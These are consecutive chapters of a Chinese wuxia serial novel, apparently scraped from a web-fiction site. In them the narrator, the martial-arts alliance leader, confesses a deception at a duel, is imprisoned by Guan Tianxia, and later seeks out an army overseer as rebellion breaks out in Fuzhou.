管天下为防止周围百姓围观引起骚乱,提前派人将方圆一里之内封禁起来,双刀门弟子手持兵刃,在街面围成人墙,堵住通向双刀门的道路。 卯时刚过。汀泉派伍黑龙、阔刀派陈大刀带弟子陆续赶到。我趁机混入人群,跟在阔刀门弟子后面,穿过了双刀门弟子的人墙。 一个弟子瞥了我一眼,脸上闪过一丝怀疑之色。但他或许是顾忌陈大刀的名声,担心一旦弄错会引起不必要的麻烦,因而一言未发便将我放了进去。 “伍掌门,陈门主,有失远迎,敬请见谅啊!”管天下笑脸相迎,完全看不出是刚刚死了哥哥的模样。 伍黑龙与陈大刀立时抱拳还礼,相互寒暄几句。他们见到在一旁木然等候的何白旗,上前宽慰。 伍黑龙眯着小眼,一 副没有睡醒的模样,声音却铿锵有力,他说“何堂主不必太过忧心,今日我二人得管门主之命前来,名义上是来做个见证,实际上是来给老兄助阵的。” 陈大刀说“不错!那龙虎帮在江湖上地位虽然强过我们,但我们四大门派联合力劝,就不信他能丝毫不给情面。” 何白旗脸色悄悄放松一些,连连道谢。 伍黑龙呵呵一笑,说“岂止是我们四大门派,稍后南剑门的七嫂也会带人前来。若说我们四人同气连枝,说话有失公允。那七嫂总可以说些公道话,周望安就更不好说什么了。” 廖七嫂也要来? 我心中疑惑,她与南剑门并不在管天下等人的联盟之中,怎么会答应为往生堂出面见证? 但仔细一想,我顿时对伍黑龙更加鄙夷。他与廖七嫂早已暗通款曲,男女苟合,所谓出面说几句公道话,实际就是来给往生堂助阵的。 正想着,远处传来几声女子的笑声。我循声望去,只见是廖七嫂领着十几个南剑门的弟子缓步走来。 她穿了一件深蓝色的衣裳,通体深蓝,仅右侧腰间绣了一朵娇艳欲滴的粉色玫瑰花。那花朵绣的活灵活现,仿佛是真的有一朵粉嫩的玫瑰花别在她腰间一般。 纵然玫瑰花再怎么娇艳,都敌不过她那对傲人的胸脯诱人。她如胸有波涛,一步一颠簸,引来无数贪婪的目光注视。 “咳咳!” 伍黑龙咳了两声,众人登时醒觉。管天下首先迎上前去,朗声笑道“七嫂啊,你大驾光临双刀门,管某真是三生有幸啊!” 廖七嫂挤了一个白眼,说“少虚情假意的,我又不是没有来过。” 管天下一脸尴尬。 何白旗赶忙接话,说“为了小弟的事,劳烦七嫂,真是过意不去啊。小弟先行谢过了。” 廖七嫂说“别忙着谢,我并没有什么把握。你说你惹谁不好,偏偏要惹那龙虎帮。周望安那人是个只认死理不看情面的主儿,我南剑门虽然与龙虎帮关系还算不错,却也是老廖活着的事儿了。如今他能不能给我几分情面,也未可知。” 何白旗脸色有些难堪,他勉强挤了一个笑,说“只要七嫂肯出面,小弟已经感激不尽了。至于那周望安给不给面子,就听天由命好了。” 伍黑龙嘿嘿一笑,小眼夹成一道缝隙,说“七嫂子肯来,就是给了我等天大的面子。相信周望安那小子,一定会听劝的。” “呦!”廖七嫂盈盈笑道,“伍掌门昨晚是使了多大的力气,怎么今日累得都睁不开眼了?” 她笑声放荡,令人生厌。或许在外人看来,廖七嫂 这话是有意讥讽伍黑龙,但作为曾亲眼目睹他们行苟且之事的我,却怎么听都像是男女之间的打情骂俏。 忽然,街道上似乎有一阵劲风吹来。一阵肃杀的气氛陡然笼下。 周望安来了。 他表情凝重,剑眉横指,虽有风尘仆仆之色,却仍给人一种威风凛凛的感觉。 他手上攥着兵刃。刀柄上盘旋的龙,如同是怒吼一般,张着口。 是龙神刀。 周望安带来了房大全的龙神刀。 “周帮主!”管天下率先上前,“恭候多时了,请先坐下用茶。”他手伸向擂台东侧的一排桌椅,做了一个请的东西。 “不必了。”周望安目光投向何白旗,说,“今日前来,只为报仇。喝茶叙旧之事,改日再来。” 管天下再次当众被驳,已是满脸愤怒。但他韧性极强,仍旧忍着,笑着说“周帮主千里迢迢赶来,不休息片刻只怕对周帮主有失公允,不如坐下来先……” 他话没说完,周望安再次打断“无妨。我撑得住。” 管天下怒气更浓,已到了爆发的边缘。伍黑龙眯着眼睛走到两人中间,一拱手,笑道“周帮主不要急躁,你稍等片刻,让何堂主稍事准备一下,你二人登台比试。如何?” 周望安看了一眼那高高的擂台,说“不好!” 管天下双拳陡然一握,却听周望安又说“这又不是草台班子唱戏,搭什么台子!”他指了指脚下的地面,说“待会儿就在这里打!” 管天下松开双拳,冷哼一声,掉头离去。 周望安看到廖七嫂不禁一怔,问“你怎么也来了?莫非南剑门也与双刀门结盟了?还是你是给了什么人特殊的面子。” 廖七嫂眼中一丝慌乱闪过,稍纵即逝。她笑着,说“周帮主多虑了,这里既没有什么结盟,又没有什么特殊的面子。只有……天理,公道。” 周望安看了一眼伍黑龙,满脸的不相信,说“但愿如此。” 这时候,何白旗提着兵器铁棍走了过来。他对周望安一抱拳,说“周帮主,我准备好了。” 周望安抽出龙神刀,说“今日,我就用我师弟的龙神刀结果了你,替我师弟报仇雪恨。” “看刀!” 周望安大吼一声,未发先制,率先对何白旗迎头一斩。何白旗虽然反应过来,也已接下一刀,但仍旧是有些猝不及防,显得脸色苍白,汗珠密布额头。 周望安横刀一扫,何白旗连连退却。周望安手持龙神刀,刺,挑,劈,扫,一应招式皆是剑法。 刀作剑使。周望安的想法是好的,他希望何白旗死在龙 神刀下,就如同是他师弟亲自手刃仇人一般。 然而,事与愿违。周望安的龙神刀,却远不如用剑使得厉害。 比如说,周望安一招扫过被何白旗躲过之手,周望安陡然转向又是一计反扫。剑有双刃,皆可杀人,刀却不同,刀有锋有钝,砍人的则永远是刀刃。但这一计反向的横扫,何白旗躲闪不及,正被扫中,本来连何白旗都吓得面无血色,最终却见是钝面砍在了肩膀上,或许会有些疼痛,却终究还是毫发无损。 何白旗大喜。 周望安大怒。一把将龙神刀扔给一旁的弟子,大喊一声“剑来!” 虎牙剑应声出鞘,一名弟子将剑向空中一抛,尖齿獠牙的护手发出凶猛的光芒。周望安腾空而起,一把将虎牙剑攥在手中,正欲顺势劈下。 这时,却听见人群之中一人大喊“住手!” 周望安被这一声大喊搅乱了心神,他侧目寻找是谁喊了这么一句,却是越找越迷茫。 然而,也正是在这迷茫疑惑的时机,何白旗一连几个转身,蹿到了距离周望安十几米之外。 (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十八章 揭穿 双刀门前,一座一人多高的擂台上空空如也,擂台下周望安与何白旗却已经打成了一团。 周望安换刀为剑,拿上趁手的兵刃之后,顿时变得自信满满。 “姓何的,这次你不会那么侥幸了。”周望安吼道,“拿命来吧!” 他长剑挥出去一半,却听见何白旗大声喊道“周帮主请慢!” 周望安骤然停手,怒道“你有想要耍什么花样?” 何白旗说“周帮主,你剑法高强,内力深厚,我自叹不如。” 周望安又举起剑,喊道“那就拿命来吧!” “慢!”何白旗又喊了一声。 周望安满脸的不耐烦,说“你还要拖延到什么时候,我师弟和阎王爷都在下面等着你呢!” 何白旗说“临死之前我有一事要向周帮主说明。” 周望安喊道“有什么要说的赶快说,我手中的虎牙剑可没有那么好的性子。” 何白旗呼了一口气,郑重地说“周帮主,事到如今,我不得不说句公道的话。的确我往生堂为求生计,那你龙虎帮的秘籍为噱头,翻印书册,冒犯了你们龙虎帮。房兄也的确是因调查此时不幸离世,对此我有不可推卸的责任,我深表歉意,任凭贵帮如何责备,我都也认了。但…但…总也不至于为此非要我以命抵偿吧。” “不错啊!”管天下附和道,“周帮主,尊师弟的死乃是一个意外,并不能全算在何堂主身上啊。” “请周帮主三思!”伍黑龙眯着眼睛劝道。 周望安满脸通红,喘息粗气,喝道“你,你们,巧言令色!他杀我师弟,却被你们说是意外!简直是颠倒黑白,毫不讲理!” “我杀你师弟?!”何白旗急道,“这,这从何说起啊,那日他身受重伤与我对阵,我们分明还没有动手,他便血崩而亡,怎能说是我杀了他?!” “你还要狡辩!”周望安瞪着眼睛大吼,“报信儿之人亲口对我说,是你杀了我师弟房大全。” “报信儿之人?”何白旗问,“是何人报的信儿?” 周望安说“是一个女子……一个……很妖媚的女子。” 我躲在人群后面,听着他们的对话,心里越来越慌乱。再说下去,只怕苏红袖就要浮出水面,紧接着就是那个谎言,将被当众戳破。 三十六计,走为上计。 我低着头,向人群外围挪动。 “站住!” 忽然,管天下大吼了一声,我心里一惊,抬头去看时不偏不倚地与他来了一个对视。 四目相对,我看到管天下神情变化,他身子一动,一闪出现在我身边。待我反 应过来之时,他深沉有力的大手已经死死捏住了我的肩膀。 管天下冷声说道“盟主大人,既然来了,却不露面,鬼鬼祟祟的是何打算?!”说罢,他抓着我的胳膊一甩,竟然将我扔到了人群之外。我强稳住身子,正巧站在了周望安身旁。 “姬盟主?!”周望安满脸疑惑,“你是何时来的?” 我只感觉肩膀的骨头如同被捏碎了一般的疼痛。然而,我却顾不上肩膀的疼痛,因为周围正有几十双眼睛直直地盯着我,让我心神更加无法安定。 我说“我早就到了。” 周望安说“既然来了,怎么也不出来相见?你近来可好?” 近来可好? 这十五天里发生的每一件事飞速穿过我的脑海,我心里一阵酸涩,说“不好。” 周望安问“发生了什么事?与你一起的那位李兄弟呢?” 我摇了摇头,说“不知道。不知道是不是还活着。” 周望安满脸惊讶“他,他怎么了?” “盟主大人!”管天下喝道,“你既然身为武林盟主,今日就当履行盟主之责。周帮主与何堂主之争,你可有评判?” 我一阵心虚,低下头,恨不得地面能裂开一道口子让我钻进去。 周望安满脸急切,说“是啊。我师弟与你一同追查往生堂之事,他被杀之事乃是你亲眼所见。如今,他却要抵赖不认,你快将那日发生的事原原本本地说出来,好还我师弟房大全一个公道。” “姓姬的!”何白旗满脸愤怒,尖声吼道,“去给周帮主送信儿的那女子是不是你派去的?此事是不是一直都是你从中挑唆?!” “你住口!”周望安怒吼声震天般响彻,“我了解盟主的为人,他岂是那种挑拨离间,无中生有的奸诈小人!” 直到这时,周望安仍旧相信我。 看着这个憨实磊落的汉子,我更加愧疚。事到如今,我却如何也不能再骗他了。 我一咬牙,说“不错。是我让苏红袖这么说的。” 周望安瞪着眼睛,双目中闪烁着难以置信的光芒,他说“你,你这话是什么意思?!” 我鼓足勇气,说“房大全并不是何白旗杀的,他在追查往生堂时,在李家赌坊身重数刀,伤势严重。又与何白旗对阵时,忽然运用内力,导致伤口崩裂,血竭而亡。他和何白旗的确没有动手!” “什,什么?!”周望安显然被我的话震惊到了,他表情又惊转怒,狠狠地盯着我,问,“你,你为何要这么做?为何要让那女子告诉我,我师弟是何堂主所杀?” “因为,因为……”我努 力地挣扎了许久。我想说,这是李小谦的主意。可是,我已经害了那么多人,事到如今,我又何必再把李小谦牵扯其中呢? “因为什么?”周望安吼道,“你说啊!” 我默然无语。还有什么好解释的吗?一切都是我的错,是我把这一切搞得面目全非,把这江湖搅扰得一片混乱。 何白旗上前一步,说“这还用问吗?定然是那日他见拉拢我不成,便要借着周帮主之手,替他除去异己,以巩固他在这个江湖中的地位。” 伍黑龙附和道“不仅如此,他还能借此拉拢周帮主,真是一石二鸟,一箭双雕的好计策啊。险些害得我们江湖门派之间手足相残,计策不可谓之不毒!” “他说得是不是真的?”周望安瞪着眼睛,向我质问。 我说“不是。我如果想到今天会成这样,我当初一定不会这么做。” “哈哈哈哈……”周望安放声大笑,“还真是这样,原来一切都是你的计谋,枉我如此信任你,待你如故如友,你竟然如此利用我!” 一把冰冷的剑横在了我的脖颈之上。周望安愤怒地盯着我,剑在他手中,剑刃贴着我咽喉处的皮肤,却始终没有动一下。 “杀了他!”伍黑龙喊道,“无耻小人,卑鄙下流,就不该活在这个世界上。” 伍黑龙的骂声异常刺耳,满口脏话让我从耳朵到心尖儿上都觉得难堪忍受。 我一只手指抵住虎牙剑的剑刃,轻轻往外一推。虎牙剑并没有拒绝,而是顺着我的力气缓缓挪开。我对周望安说“如果你要杀我,就再等上一会儿吧。” 说罢,我转身怒视着伍黑龙。我不确定他那如缝隙一般的眼睛是否可以看到我脸上的愤怒,但我确信,他那大小和寻常人与差异的耳朵眼儿,一定可以听清我的声音。 我说“卑鄙下流无耻的人是你!” 伍黑龙身子一震,指着我说“你,你说什么?!” 我说“你才是最无耻下流的人,我不过是撞见了你和廖七嫂的奸情,你就要杀我灭口,你才卑鄙无耻!” 伍黑龙脸色铁青。周围人仿佛听到了天下奇闻一般,目光纷纷投向廖七嫂。 廖七嫂脸色由白转红,又由红转为苍白。她指着我破口大骂“你,你这个不要命的臭小子,你胡说八道些什么?信不信老娘现在就杀了你!” “我胡说八道?!”我更加愤怒,“我在山洞口亲眼所见,当时你就要杀我,你们两个人都要杀我,却都杀不了我!” “你,你……”伍黑龙气急败坏地嘶吼,“大家不要听他胡言乱语,这小子满嘴胡扯,没有一句实 话。周帮主与何门主之事,就是例证。” 南剑门的寡妇与汀泉派的小眼睛之间有奸情。对于这种百年难得一闻的奇闻,人们宁可信其有,也不愿相信他没有。因为,这样津津有味的饭后谈资,所被证实是假的,那不知要抹杀多少乐趣。 伍黑龙仍旧是歇斯底里地解释着“我与七嫂从未单独会面过,天地可证,日月为鉴,我俩清清白白,岂容你这小子随意污蔑。” 我说“我没有污蔑。那日你们打不过我,就用迷药将我迷晕,是周帮主救得我,他可以作证。” 我将目光投向周望安,伍黑龙的脸也冲着周望安,却看不见他的眼睛看向哪里。 周望安声音低沉,说“我不会撒谎。我确实在汀泉山,从你他二人手下救了你。其他的,我并未亲眼所见。” “哗!” 周围议论之声四起,人声几乎接近鼎沸。因为,许多人已经捕捉到了伍黑龙言语之间一个巨大的漏洞——他刚刚说话,他与廖七嫂从未单独会过面! 伍黑龙大口穿着粗气,哇哇大叫一声,从身旁弟子手中一把夺过宣花板斧,双手一挥,如是疾风骤雨一般地声势向我打来。 我连忙后退。这一退,却只有小半步,就已经将斧锋轻巧地躲了过去。 “铮”的一声。我拔出九郎剑,还是那日相同的招式,我向前一步,九郎剑在宣花板斧还不及反应的时候,已经稳稳地抵住了它主人的咽喉! (本章完) (教育123文学网) 第二卷 武林盟的开始与结局 第一百四十九章 被囚 1. “不,不要杀我!求你了,别杀我!” 当九郎剑卡在伍黑龙脖颈的时候,这个堂堂汀泉派的掌门,竟然不顾颜面地在众目睽睽之下向我求饶。 真是可笑。这个贪生怕死之徒。 然而,我并没有要杀他的意思,因为我不喜欢杀人。我说:“把你的斧头扔掉。” 伍黑龙犹豫着,沉重的板斧在他手上动了动,却终究没有被他丢掉。 “原来是你!” 突然,一个愤怒的吼声传来。我抬头去寻找这声音的来源,却见管天下粗眉横起,瞪着两颗如叮当般大小的眼睛冲着我吼道:“竟然是你!” 他并未真正看着我。他的目光死死地盯着我手中的剑。 九郎剑,似乎是有什么触怒了管天下一般,他咬着牙,一步一步地向我走来。 “是你!” 管天下莫名其妙地重复着。我不解,问:“是我什么?” 管天下说:“原来你就是那日男扮女装的人,是你设计陷害,致使我大哥因而自尽!” 我想要否认。但否认的话却如何也说不出口。 他并没有认出我。但他却认出了我手中的剑。 “是我!”我低声地回答。 管天下已走到了我跟前,他紧紧攥着拳头,怒道:“为什么?!为什么你要如此陷害我!” 我说:“因为你要造反!你要毁了这个江湖!” “胡说八道!”管天下矢口否认,“你是听谁说的?!” 我环视四周,忽然一个熟悉的人影进入眼帘,我当即抬手一指,喊道:“是他。是他说的!” “高猛?!”管天下回头诧异地看着高猛,阴冷地质问,“是你说的?” “不,不,不是我!”高猛慌乱地回应,“我怎么可能跟他说这种话!况且,我并不认识他!” “那他为何说是你?”管天下又问。 高猛连连摆手,说:“我没有,我没有。门主,你不要相信此人,他阴险狡诈,最擅挑拨离间!周帮主与何堂主被他挑拨至此,门主你万万不可以相信他啊!” 为什么? 为什么这时的高猛竟然与我所听到的那个高猛判若两人? 此时的高猛全然不是他劝解管天上时那种大义凛然的口气,比起那时,他更像是一个贪生怕死的奸佞小人。 我没有什么机会去探究高猛的变化,因为这时的管天下已经全然相信了高猛的话,他不由分说,身子一晃向我扑来。 他使出的不是他腰间的那双短刀,而且一只带着威猛霸道内力的铁拳。 九郎剑依旧架在伍黑龙的脖子上,他竟完全没有顾忌伍黑龙的死活,一拳打来,投过伍黑龙的胸口。 他动作快如闪电,我没有丝毫反应的机会,只觉得胸口如同遭受了千斤巨石的撞击一般,身子被这股劲力推搡着向后一纵,整个人倒飞出去,重重地摔在坚硬的地面上。 好厉害的功夫! 我一声感慨尤未发出,只觉得骨骼碎裂一般地疼痛游遍全身,登时血气翻涌,喉咙一甜,哇的一口血喷了出来。 “姬……”周望安有些担忧的看着我,他脸色一变,话未说完却侧转过头去,不再言语。 再看伍黑龙。那一拳分明打在他胸口,他却似乎是毫发无损,只是惊慌地摸着自己的胸口,一张脸已经吓成了惨白色。 “哎呀!”发现自己并与异样的伍黑龙大声赞叹,“江湖人都知道管门主双刀功夫独步天下,没想到还有一套如此精妙绝伦,威猛厉害的拳法,厉害,厉害呀!” 陈大刀与何白旗纷纷上前,一是抒发感慨,二则趁机附和,溜须拍马一番。 廖七嫂一言未发,她柳眉蹙起,盯着我的杏眼中是一种巴不得我立刻就死的恨意。 管天下的表情并没有太多的变化。他依然冷冷地看着我,说:“你设计陷害我,致使我大哥自尽,这样的深仇大恨,我绝不会就此罢休。” 我扶着胸口,只微微一动,那股剧痛就如同是心肺俱碎,肋骨寸断一般。我强忍着疼痛站了起来,九郎剑依旧在我手中,我却再也没有了挥出去的力气。 今日,我便要死了吗? 我不禁自嘲地笑。这一生,我一直想要改变自己,让自己变得强大,让人尊重,不再被人嘲笑。 即使我还叫姬旦丙,我也希望我的名字脱口而出的那一刻能给人为之一震的感觉。 难道就这么难吗?快眼123 是我太高估了自己。我一直听着李小谦为我出谋划策,事到如今,李小谦生死未卜,踪迹全无。而我,机关算尽,却万万没想到,成了众人唾弃的阴险小人。 可笑! 真是太可笑了! “死到临头,你竟然还笑得出口?”伍黑龙大声吼道。 既然都要死了,难道我连笑的权利都没有了吗? 我说:“我偏要笑,你能拿我怎么样?!” 这个伍黑龙着实让我厌恶,就算是死,我也要骂他骂个痛快。我说:“你个不要脸的奸夫,你又打不过我,有什么脸面跟我大吼大叫!” 伍黑龙气得哇哇大叫,廖七嫂满脸通红,花枝乱颤。伍黑龙挥起宣花板斧,大叫一声:“我劈死你!” 斧锋坠下,如日当头。 我闭上眼睛,静静地等待死亡。 “且慢!”一声沉重的吼声。我睁开眼睛,宣花板斧就停在我头颅之上一寸有余。 管天下的手挡住了伍黑龙的手。伍黑龙满脸诧异,问:“管门主,你为何不让我杀了他?” 管天下说:“他迟早要死,却不能现在就死。我要召集十大门派齐聚福州,历数这厮罪过,当众废掉他,重新选举武林盟主!” 何白旗大声叫好:“管门主深谋远虑,往生堂定将鼎力支持。” 陈大刀说:“废要废得明白,杀也要杀得心服!” 管天下没有理会两个人,他转而向一旁漠然看着的周望安抱拳说道:“周帮主,你意下如何?” 周望安的表情十分复杂,我从他眼中看到了一闪而过的不舍与担忧。他沉吟半晌,说:“我不参与,你们随意处置吧。” 管天下干笑了两声,又说:“既然许多事已真相大白,那周帮主与何堂主是否可以握手言和?” 何白旗快步走到跟前,笑道:“一场误会,都是奸人:让你挑唆,周帮主……” 他话未说完,却被周望安冷言打断。周望安说:“子不杀伯仁,伯仁却因你而死。我师弟的死你终究是难辞其咎!我不杀你,但却也不会原谅你。从今往后,我龙虎帮与往生堂老死不相往来,谁也别再提什么握手言和之类的鬼话!” 何白旗表情尴尬。管天下却紧紧地攥着拳头,满脸愠色。 周望安并没有理会任何人,他收起虎牙剑,对着身后的弟子大声喊道:“我们走!”说罢,他转身离去。走过我身旁时,他忽然挺住脚步,看着我,说:“你……好自为之吧!” 周望安走了。 整个龙虎帮的人彻底离开了这个是非纷扰的双刀门。 管天下目送龙虎帮的人离去,终究松开了拳头。他对我说:“我便让你多活几日,待到各大门派齐聚之时,便是你死期到来之日!” 他转身对着高猛,淡淡地说:“压下去,将他关进铁栏,好生看管!” 高猛连忙回应:“是!”他一挥手,几个壮汉快步上来,将我五花大绑。 将我押走时,管天下又嘱咐了高猛一句:“看紧一点,可千万别叫他死了!” 2. 双刀门后院正中的一座假山之下,竟然是一个异常隐蔽的牢房。 牢房四周是坚硬的黑铁铸造,打磨得光滑如镜,离得近些,便可以看到自己朦胧的倒影。 在这个不见天日的地牢中,不知不觉间我已度过了七八日。每日,当有一缕极其细微的光束从假山的石缝间照射进来的时候,都会有一个身形佝偻的老驼子,提着一篮子饭菜走进来。 或许是上了年纪,又或是身体残疾,行动不便,他走得很慢,并且一步一喘息,这声音我要听上好久,他才能将那饭菜送到我跟前。 老驼子放下菜篮便走,一句话也不说。除此之外,再没有第二个人出现过。 他送来的饭菜,起初我担心管天下下毒,因而不敢吃。直到放馊了许多美食,才觉得自己着实可笑。 若要杀我,他要就已经动手了。何必大费周章地再来下毒害我? 那日,我想通了这一切,实在难堪腹中的饥饿,端起已经有些变味儿的饭菜,大口大口的吃了起来。 才未过半个时辰,我便觉得小腹坠痛,犹如锥刺。不消片刻,那疼痛已在我腹中四处乱蹿,疼得我豆大的汗珠滚得满头都是。 我抓着地上的稻草,破口大骂:“管天下,你这个卑鄙小人,竟然下毒害我!” 骂了不到一炷香的时间,我感觉那疼痛逐渐向下游走。一泡屎毕,痛感全消。 原来,我只是吃坏了肚子。 然而,最痛苦的不是吃坏了肚子,而且在剩下的许多日子里,我都要强忍着臭味,在这方正十尺的铁牢中与自己的粪便为伴。 而且,这些粪便也随着时间愈久,变得越来越多! 第二卷 武林盟的开始与结局 第一百五十一章 军营 1. 福州城,火光冲天,杀声四起。 偏僻小院里,少年目光阴冷,正死死扼住我的咽喉,逼问我一个其貌不扬的木匣的下落。 院墙之外,叫喊之声不绝于耳,听起来街面上已乱作一团。 声音离我们越来越近。 易小心眉头一皱,抓住我肩膀将我提了起来,他说:“跟我走!” 他一脚踢开一间破屋的门,带我躲了进去。 那是一间破旧的堂屋。易小心趴在门口观察了一会儿,见没有进院子,便拖着我走到一张破旧的桌子前。他单掌将桌子推开,桌腿擦过地面,竟然没有发出一丝声响。 他的武功都已经厉害到了这个程度,为何还要惦念着那个竹筒与木匣呢? 难道仅仅是因为这两件物品是青云派历代相传的宝物,不能外流?还是这其中蕴藏着更加精深不可预测的功夫? 易小心推开桌子之后,脚在桌子下的地面上一蹉,“咔啦”一声,地板划开,露出一个直径约两米,深不见底的地洞。 我说:“这是去哪里的?” 易小心微微一笑,说:“你下去就知道了。”他话音一落,单手在我腰间轻轻一拂。我因为被点中穴道的缘故,双脚无法动弹,顿时失去平衡,一头栽进了地洞里。 这一栽正好是头颅朝下,额头狠狠地抢在了地面上,立时头颅巨震,眼前发黑,火星四溅,接着便是天旋地转,头脑一片空白。 再醒来之时。我已经被易小心带出了福州城。 为了救我。更准确的说,是为了得到白景行交给我的那两件东西,他煞费苦心地事先挖通了一条连接福州城内外的密道。 易小心看我醒了过来,他淡淡地问候了一句:“你醒了?觉得怎么样?” 他是在关心我的生死吗? 还是他担心我死了,他将彻底失去得知木匣下落的机会? 我冷冷地回应他:“我死不了。” 易小心并没有再说什么,他目光投向不远处巍峨耸立的福州城城墙,它就像一条横亘在福州城外的一道坚不可摧的铜墙铁壁,把朝廷的五万大军死死地挡在了福州城外。 “你说,这世间的事是不是都这么可笑?”易小心望着福州城,突然没来由的一句话让我不知其所云。 我问:“你什么意思?” 易小心说:“这世间那有什么牢不可破的情意,不过是世人在危机未来之时的空想罢了。一旦危机将近,一个个的都是各自盘算,为一己私利而已。” 我仍旧不能理解他的感慨,但我隐约觉得他言语所指向的正是方才那乱作一团的福州城。我问:“福州城里刚刚发生了什么?” 易小心叹了一口气,说:“伍黑龙与廖七嫂不愿与管天下一同造反,他们想要出城投降。朝廷的兵马还没有开始攻城,他们就已经发生了内讧。真是可笑。” 其实,这并不可笑。 我说:“福州城里他们不过几百人而已,怎么抵得过五万大军。伍黑龙的选择并没有错,他不过是不想做无畏的挣扎罢了。” “几百人?”易小心冷笑一声,“管天下经营了这么多年,势力渗透各方,盘根错节。莫说是福州城,即便是放眼整个江湖,双刀门的人也无处不在。你当真以为他只有几百人就胆敢攻占福州府衙吗?” 我说:“你的意思是……” 易小心淡然一笑,说:“我前些日子进福州城之时,发现福州府的衙差,以及守城的将士之中,有许多深藏不露的高手。他们个个武功精绝,绝不是一般的差役。昨日,我在福州城里发现那些人都已经换掉了官府的服饰,穿上了绣着双刀门字样的衣裳。” 原来,管天下真的早已经开始密谋。这场灾祸不过是早晚的事,或许只是因为我,让它提前浮出了水面。 易小心忽然解开了我的穴道。他说:“姬兄,我既然救你,便不会杀你。我希望你能将那木匣交还给我。它在你身上,无非是一个普普通通的木匣,但对于我却有着非比寻常的意义。” 他的要求,让我十分犹豫。按理说,那木匣本就是青云派的东西,物归原主乃是分所应当。然而,一想到要将木匣交给易小心,我的心里便有着别样的滋味,让我异常难受。 一则是不愿,它毕竟是白景行就给我念想,看到它,我便可以想到那个一身雪白的老人,以及与他所经历的一切。二则是不甘,白景行曾说,当我能接住一百一十三根银针的时候,我便可以打开那个木匣。那个木匣里藏着剑法的秘籍,而我如今已经练得可以挡住一百零七根银针,距离一百一十三根银针不过是咫尺的距离。 难道真的就要放手吗? 易小心似乎是看出我的犹豫,他神情变得激动,一只狠狠地攥住我的胳膊,说:“我必须要拿回木匣,只有这样,我才可以在青云立足。我已经没有再多的机会了,你必须把他还给我!” 又挣扎了一阵,我决定作出一个折中的选择。 我挣脱开易小心的手,说:“竹筒你已经拿到了。木匣我可以还给你,但我要打开它!” 易小心一怔,他有些犹豫,却很快恢复了平静,说:“可以。只要你把它给我!” 我说:“木匣在武林盟。” 易小心忽然暴怒,他恶狠狠地说:“你是在耍我吗?!” 我说:“它真的在武林盟。这次出门,我觉得它太不方便,便没有随身携带。” 终于,易小心目光又软了下来,说:“好!我和你一起去武林盟。”开心 我回首望着已风云突起的福州城,残阳如血,映红了高耸的城墙,映红了亭台楼宇。 福州城已显一片血红。 就这么走了吗? 不!绝不!这场风波尤待我去平息,即便是我能力有限,但仍要尽力一试。 况且,李小谦已失踪多日,他生死未卜,我怎么能将他就在这危机四伏的福州? 我说:“我还不能走。” 易小心问:“你还要做什么?” 我说:“至少……我要见到两个人才行。” 2. 我要见的两个人,一个是李小谦,我要确定他安然无恙。而另一个,便是柳无风。 五万平叛大军正在福州城外三十里出驻扎。高高扬起的帅旗上,写着一个大大的“薛”字。 主帅薛弼,曾是岳飞将军的旧部。绍兴十一年,岳飞将军被害之时,他曾被株连。后来,据说因他是秦桧的同乡,所以被法外开恩,终究是有惊无险。 我说:“我要去大军营帐去找一个人。” 易小心很痛快地便放过了我。我正诧异之时,他却说:“我会在武林盟等你。二十日,若你仍不能出现在我面前,我就叫武林盟上下鸡犬不留。” 我笑了笑,说:“鸡犬随便杀,别杀人就好。” 易小心被我一句话逗笑了,他说:“你果真变得不同了。” 是啊,经历了这么多事。人岂能无所变化呢。 告别了易小心,我独自走向大军营帐。 皓月当空,繁星点点。军营大帐中火光摇曳,手持长枪的士兵威严挺立,即使夜静更深之时,守夜的士兵也双目圆睁,无一人瞌睡打盹,一看便知军纪森严。 我刚刚走近,几个士兵已挺起长枪对我喊:“军营重地,闲人莫近。” 我表明来意,说:“柳无风是不是在军中?” 几个士兵面面相觑,一人冲我喊道:“你是何人?找监军大人何事?” 柳无风竟是平叛大军的监军。 我说:“你告诉他,一个姓姬的人请他在门口相见。” 士兵面上露出不快之色,但他们却没有一个人敢发作,只冷冷地回了我一句:“你等一下。” 一个士兵快步跑去军营之中。另外几名士兵仍旧挺着长枪对着我,一脸严肃,甚至有些如临大敌的意味。 我问:“你们这样挺着累不累?” 远处夜鸟咕鸣,耳际风声瑟瑟,几个士兵挺着长枪犹如石像般一动不动,更无一人回应我。 我尴尬地一笑,咳了两声,把目光投向军营大帐之中。空气几乎是凝固了一样,气氛异常的冷。 大约半柱香的时辰,跑去通禀的士兵姗姗而来,他说:“监军大人说,他有要事处理,无法出来相见,因而请您入帐一叙。” 我草草向他道了一句谢,由另一人领着,急匆匆地向营帐中走去。 进入柳无风大帐之时,身披甲胄,更显得英武不凡的柳无风正在噼里啪啦地打着算盘。 他只是抬头瞥了我一眼,随即低头,自顾自地忙活起来。 算珠子打得噼啪乱响,柳无风满头是汗。我说:“你在算什么?” 柳无风连忙嘘了一声,做了一个噤声的动作,紧接着又开始拨弄算盘,并时不时地提起笔,在纸上圈圈画画,不知在忙着什么。 又过了半柱香的时间。柳无风忽然折断了手中地毛笔,狠狠地丢在了地上,说:“好个薛弼,竟敢报假账骗我!” 我一阵无语。真不明白,为什么每次见他,他都在算计项目的问题。或许,他此生投身军营就是个天大的错误,他更适合的是做一个精于算计的奸商。 柳无风看着我,表情由对薛弼的愤怒渐渐转为平淡,说:“你找我何事?” 他总是这样平铺直叙地表达,即便是许久未曾尽欢,在他那里也感觉不出丝毫的亲近。 我说:“我是为了福州城里的事来的。” 柳无风哦了一声,坐在椅子上,也不让我,只是淡淡地说:“这是朝廷的事,不是江湖的事,你无须再管。” 我问:“你们会怎样处理?” 柳无风眼睛一眯,目光汇聚如刀如剑,犀利而满含杀气。他淡淡地说:“谋反只有一个结果。” 第二卷 武林盟的开始与结局 第一百五十二章 远离 1 那时的我,是多么期盼着管天下可以迷途知返,薛弼与柳无风可以撤兵,双方握手言和,一片皆大欢喜。 人生最无奈的,便是美好的想象永远只存在与自己的期盼与幻想之中。 柳无风十分坚定。他说,他与薛弼带兵前来,乃是代天子以施王道,反贼不除,绝没有撤兵的可能。 我说“管天下本来还不是反贼,他是被我逼反的。” 柳无风并没有听我继续解释,他一摆手,说“无所谓了。无论如何都是反了。他若不反,皇上也不会拨款。” 我质问柳无风“难道为了银子,就要掀起战争,弄得生灵涂炭吗?” 柳无风淡淡地说“掀起战争的不是朝廷,而是管天下。皇上当日听到这个名字便极为不满,管天下那是皇上才能做得事。” 名字?! 我心里一苦,说“这世间竟然还有比我更惨的名字。” 